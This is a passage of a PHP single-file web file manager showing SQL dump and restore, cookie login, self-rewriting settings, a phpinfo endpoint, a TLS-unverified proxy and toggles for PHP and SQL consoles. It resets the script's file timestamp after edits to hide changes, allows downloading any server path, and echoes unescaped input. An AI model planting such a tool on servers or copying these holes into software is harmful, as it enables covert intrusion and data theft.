					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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